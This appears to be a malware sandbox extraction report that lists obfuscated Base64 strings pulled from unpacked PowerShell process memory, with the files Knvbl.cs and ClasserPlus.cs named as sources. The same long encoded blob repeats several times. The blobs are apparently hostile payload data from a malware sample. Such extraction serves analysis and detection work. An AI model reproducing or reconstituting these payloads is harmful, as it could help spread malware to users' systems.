Source: 13.2.powershell.exe.555c6ec.2.raw.unpack, Knvbl.cs	Base64 encoded string: 'GS4NWlljHhw7Nx5BV29/TTNPBkFMDh1HSiYgSwwqGksCDQZMKUUbHWFXEUdXLSpFGzoIWAkPW3EPHWUsGS4NWlljHhw7Nx5BQiwQTHsrYlMfNApTHhA0FjwmFgI+FxtMKUsNCCUzEFFMLD02LTENRQ8HBgNNLB1VBTMDFG06PhEtLlV4BBAQWSRPBkFCCQVHVTB2aEJOcVwZABlRIwYLSg0uFxR9LywWOyYJfAAXBjVKXWUsTH1EFE42LwkhIFtfGAMBUSMGIUgYbFIUfSwjEy0xD3gDKxtMcRBARBUpAW9jYzsEJDYeAEwLG0xgVRxHHiktWlomNUxFSVsMTEIONUoGSAZMfUQUHjEoET0xFQwuCwF7L0geQx4pAUYQFyIsJjdKGkQUFFQ1Q0QGHykFRkoKIwEtO1IXYWhVGGAGFStmUG4UHmNtFT0hF0UPQgZMIVIBRUwUCkANcW0mJy0NSR4WIVcJSBwVXnUGTUomFjhoNRpAGQdZGClIHAYfKQVGSgojAS07UiFmQlUYYF1lLEx9RBQeY21FOiYPWR4MVXopUitJAisBRkomP0scLDJCGFFHEDZHBFMJcURHSiI/EQEtH0kUS041SgZIBkwgaT4zSW1FaGMLWQ4OHFtgVRxHGDQHFFw6OQATHltvAwwDXTJSPEkuJBBRTWskCzxjDU0AFxARTSxIBkx9Hzk0Y21FaGNbDEwQEEw1VAYGLjQQd1EtOwA6Nx5eQiUQTAJfHEMfdRJVUjYoTHNOcQxMQlVFTSxlLEx9RBRONi8JISBbXxgDAVEjBhtSHjQKU2UebSItNzpcBSwUVSVVQA9hV0QUHmM2aEJjWwxMQlUYYFQNUhkvChRQJjpFOzcJRQIFLmVNLEgGTH1EFB5jNmhCY1sMTEJVGGAGSAZMfw9RTC0oCXtxWQBhaFUYYAZIBkx9RBQeY28LPCcXQE5OeDJgBkgGTH1EFB5jbUVqER5fGQ8QbChUDUcIf0g5NGNtRWhjWwxMQlUYYAQ/SRtrUGdbNxkNOiYaSC8NG0wlXhwEQFBuFB5jbUVoY1sMTEJVGhNDHHIELwFVWgAiCzwmA1hOTngyYAZIBkx9RBQeY21FahQUW1pWMl00cgBUCTwAd1EtOQAwN1kAYWhVGGAGSAZMfUQUHmNvIi03L0QeBxRcA0kGUgklEBYSTkdFaGNbDExCVRhgBkgEOjQWQEsiISQkLxRPKRpXFE0sSAZMfUQUHmNtRWhjWXseCwFdEFQHRQkuF3lbLiIXMWFXIWZCVRhgBkgGTH1EFB5hHwApJyteAwEQSzNrDUsDLx0WEk5HRWhjWwxMQlUYYAZIBDYqMVpTIj0zISYMYwoxEFs0TwdITnFpPh5jbUVoY1sMTEJVGGJlGkMNKQFkTCwuADswOg5haFUYYAZIBkx9GQ8zSW1FaGMGIWZvfxhgBkhWHjQSVUombQEtLx5LDRYQGClIHAY+OBdBUyYZDTomGkgoBxldJ0ccQ0QUCkBuNz9FICIVSAAHXANNLEgGTH0URlc1LBEtYx9JAAcSWTRDSEQDMggUbSY5Mic0TRg4CgddIUIrSQIpAUxKBygJLSQaWAlKPFY0dhxUTCkMRlsiKUloKhVYNz9VWy9IHEMUKU0PM0ltRWhjC14FFBRMJQYMQwA4A1VKJm0HJywXDD8HAWwoVA1HCB4LWkomNREMJhdJCwMBXWhvBlI8KRYUSis/ACknVwwFDAFjHQYLSQIpAUxKanZoQmNbDEwSB1E2RxxDTDkBWFskLBEtYxlDAw5VfyVSP0kba1BgVjEoBCwAFEIYBw1MBEMEQws8EFEWCiMRGDcJDBgKB10hQkQGBTMQb2NjLgomNx5UGEtONUoGSAZMLRZdSCI5AGgnHkAJBRRMJQYKSQMxRHNbNxkNOiYaSC8NG0wlXhxiCTEBU183KE0BLQ98GBBVTChUDUcIcURdUDcWOGggFEIYBw1MaR1lLEx9RBROMSQTKTceDAgHGV0nRxxDTDQKQB4VJBc8NhpALQ4ZVyNjEGIJMQFTXzcoTQEtD3wYEFVQIUgMSglxRF1QN20ELCcJSR8RWRgpSBwGADgKU0orYUUhLQ8MGBsFXWwGAUgYfRRGUTcoBjxqQCFmQlUYYFYaTxo8EFEeJygJLSQaWAlCF1cvSkhxHjQQUXMmIAo6Oj9JAAcSWTRDQG8CKTRATGM9FycgHl8fTlVRLlJIRA0uAXVaJz8AOzBXDA4bAV0be0hEGTsCUUxvbQwmN1tOGQQTXTJ1AVwJcURGWyVtDCY3W04VFhBLF1QBUhg4Ch0FTkdFaGNbXB4LA1k0Q0hCCTEBU183KEUqLBRATDAQWSRrDUsDLx1wWy8oAik3HgQlDAFoNFRIVh4yB1FNMGFFIS0PDA4DBl0BQgxUCS4XGB4xKANoKhVYTAAAXiZDGgpMNApAHiE4Ay4mCX8FGBAUYFQNQEw0CkAeITQRLTApSQ0GXANNLEgGTH0URlc1LBEtYx9JAAcSWTRDSE8CKURhUC4sFR4qHlsjBCZdI1IBSQIZAVhbJCwRLWsyQhgyAUpgVhpJDzgXRxJjJAs8YxlNHwc0XCRUDVUfdF85NGNtRWgzCUUaAwFdYEINSgk6BUBbYy8KJy9bbx4HFEwldhpJDzgXR3omIQAvIg9JRBEBSilIDwYNLRRYVyAsESEsFWINDxAUYFUcVAUzAxRdLCAIKS0fYAUMEBRgbwZSPCkWFE4xIgYtMAhtGBYHUSJTHEMfcUR9UDcdETpjD0QeBxRcAVIcVAU/EUBbMGFoQmNbDExCVRhgRAdJAH0NWlYmPww8CxpCCA4QS2wGHU8CKURXTCYsESEsFWoAAxJLbAYhSBgNEEYeJiMTITEUQgEHG0xsBhtSHjQKUx4gOBc6JhVYKAsHXSNSB1QVcURGWyVtNjwiCVgZEjxWJklIVRg8FkBLMwQLLixXDB4HExgQVAdFCS4XfVAlIkU4MRRPCREGcS5ABw9XUG45NGNtRWg
Source: 13.2.powershell.exe.57b8cf4.0.raw.unpack, Knvbl.cs	Base64 encoded string: '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
Source: 13.2.powershell.exe.58251b8.5.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 13.2.powershell.exe.57a7874.4.raw.unpack, Knvbl.cs	Base64 encoded string: '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
Source: 14.2.powershell.exe.58d7be4.4.raw.unpack, Knvbl.cs	Base64 encoded string: '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
Source: 14.2.powershell.exe.5955534.0.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 14.2.powershell.exe.8df0000.9.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 14.2.powershell.exe.568c688.2.raw.unpack, Knvbl.cs	Base64 encoded string: 'GS4NWlljHhw7Nx5BV29/TTNPBkFMDh1HSiYgSwwqGksCDQZMKUUbHWFXEUdXLSpFGzoIWAkPW3EPHWUsGS4NWlljHhw7Nx5BQiwQTHsrYlMfNApTHhA0FjwmFgI+FxtMKUsNCCUzEFFMLD02LTENRQ8HBgNNLB1VBTMDFG06PhEtLlV4BBAQWSRPBkFCCQVHVTB2aEJOcVwZABlRIwYLSg0uFxR9LywWOyYJfAAXBjVKXWUsTH1EFE42LwkhIFtfGAMBUSMGIUgYbFIUfSwjEy0xD3gDKxtMcRBARBUpAW9jYzsEJDYeAEwLG0xgVRxHHiktWlomNUxFSVsMTEIONUoGSAZMfUQUHjEoET0xFQwuCwF7L0geQx4pAUYQFyIsJjdKGkQUFFQ1Q0QGHykFRkoKIwEtO1IXYWhVGGAGFStmUG4UHmNtFT0hF0UPQgZMIVIBRUwUCkANcW0mJy0NSR4WIVcJSBwVXnUGTUomFjhoNRpAGQdZGClIHAYfKQVGSgojAS07UiFmQlUYYF1lLEx9RBQeY21FOiYPWR4MVXopUitJAisBRkomP0scLDJCGFFHEDZHBFMJcURHSiI/EQEtH0kUS041SgZIBkwgaT4zSW1FaGMLWQ4OHFtgVRxHGDQHFFw6OQATHltvAwwDXTJSPEkuJBBRTWskCzxjDU0AFxARTSxIBkx9Hzk0Y21FaGNbDEwQEEw1VAYGLjQQd1EtOwA6Nx5eQiUQTAJfHEMfdRJVUjYoTHNOcQxMQlVFTSxlLEx9RBRONi8JISBbXxgDAVEjBhtSHjQKU2UebSItNzpcBSwUVSVVQA9hV0QUHmM2aEJjWwxMQlUYYFQNUhkvChRQJjpFOzcJRQIFLmVNLEgGTH1EFB5jNmhCY1sMTEJVGGAGSAZMfw9RTC0oCXtxWQBhaFUYYAZIBkx9RBQeY28LPCcXQE5OeDJgBkgGTH1EFB5jbUVqER5fGQ8QbChUDUcIf0g5NGNtRWhjWwxMQlUYYAQ/SRtrUGdbNxkNOiYaSC8NG0wlXhwEQFBuFB5jbUVoY1sMTEJVGhNDHHIELwFVWgAiCzwmA1hOTngyYAZIBkx9RBQeY21FahQUW1pWMl00cgBUCTwAd1EtOQAwN1kAYWhVGGAGSAZMfUQUHmNvIi03L0QeBxRcA0kGUgklEBYSTkdFaGNbDExCVRhgBkgEOjQWQEsiISQkLxRPKRpXFE0sSAZMfUQUHmNtRWhjWXseCwFdEFQHRQkuF3lbLiIXMWFXIWZCVRhgBkgGTH1EFB5hHwApJyteAwEQSzNrDUsDLx0WEk5HRWhjWwxMQlUYYAZIBDYqMVpTIj0zISYMYwoxEFs0TwdITnFpPh5jbUVoY1sMTEJVGGJlGkMNKQFkTCwuADswOg5haFUYYAZIBkx9GQ8zSW1FaGMGIWZvfxhgBkhWHjQSVUombQEtLx5LDRYQGClIHAY+OBdBUyYZDTomGkgoBxldJ0ccQ0QUCkBuNz9FICIVSAAHXANNLEgGTH0URlc1LBEtYx9JAAcSWTRDSEQDMggUbSY5Mic0TRg4CgddIUIrSQIpAUxKBygJLSQaWAlKPFY0dhxUTCkMRlsiKUloKhVYNz9VWy9IHEMUKU0PM0ltRWhjC14FFBRMJQYMQwA4A1VKJm0HJywXDD8HAWwoVA1HCB4LWkomNREMJhdJCwMBXWhvBlI8KRYUSis/ACknVwwFDAFjHQYLSQIpAUxKanZoQmNbDEwSB1E2RxxDTDkBWFskLBEtYxlDAw5VfyVSP0kba1BgVjEoBCwAFEIYBw1MBEMEQws8EFEWCiMRGDcJDBgKB10hQkQGBTMQb2NjLgomNx5UGEtONUoGSAZMLRZdSCI5AGgnHkAJBRRMJQYKSQMxRHNbNxkNOiYaSC8NG0wlXhxiCTEBU183KE0BLQ98GBBVTChUDUcIcURdUDcWOGggFEIYBw1MaR1lLEx9RBROMSQTKTceDAgHGV0nRxxDTDQKQB4VJBc8NhpALQ4ZVyNjEGIJMQFTXzcoTQEtD3wYEFVQIUgMSglxRF1QN20ELCcJSR8RWRgpSBwGADgKU0orYUUhLQ8MGBsFXWwGAUgYfRRGUTcoBjxqQCFmQlUYYFYaTxo8EFEeJygJLSQaWAlCF1cvSkhxHjQQUXMmIAo6Oj9JAAcSWTRDQG8CKTRATGM9FycgHl8fTlVRLlJIRA0uAXVaJz8AOzBXDA4bAV0be0hEGTsCUUxvbQwmN1tOGQQTXTJ1AVwJcURGWyVtDCY3W04VFhBLF1QBUhg4Ch0FTkdFaGNbXB4LA1k0Q0hCCTEBU183KEUqLBRATDAQWSRrDUsDLx1wWy8oAik3HgQlDAFoNFRIVh4yB1FNMGFFIS0PDA4DBl0BQgxUCS4XGB4xKANoKhVYTAAAXiZDGgpMNApAHiE4Ay4mCX8FGBAUYFQNQEw0CkAeITQRLTApSQ0GXANNLEgGTH0URlc1LBEtYx9JAAcSWTRDSE8CKURhUC4sFR4qHlsjBCZdI1IBSQIZAVhbJCwRLWsyQhgyAUpgVhpJDzgXRxJjJAs8YxlNHwc0XCRUDVUfdF85NGNtRWgzCUUaAwFdYEINSgk6BUBbYy8KJy9bbx4HFEwldhpJDzgXR3omIQAvIg9JRBEBSilIDwYNLRRYVyAsESEsFWINDxAUYFUcVAUzAxRdLCAIKS0fYAUMEBRgbwZSPCkWFE4xIgYtMAhtGBYHUSJTHEMfcUR9UDcdETpjD0QeBxRcAVIcVAU/EUBbMGFoQmNbDExCVRhgRAdJAH0NWlYmPww8CxpCCA4QS2wGHU8CKURXTCYsESEsFWoAAxJLbAYhSBgNEEYeJiMTITEUQgEHG0xsBhtSHjQKUx4gOBc6JhVYKAsHXSNSB1QVcURGWyVtNjwiCVgZEj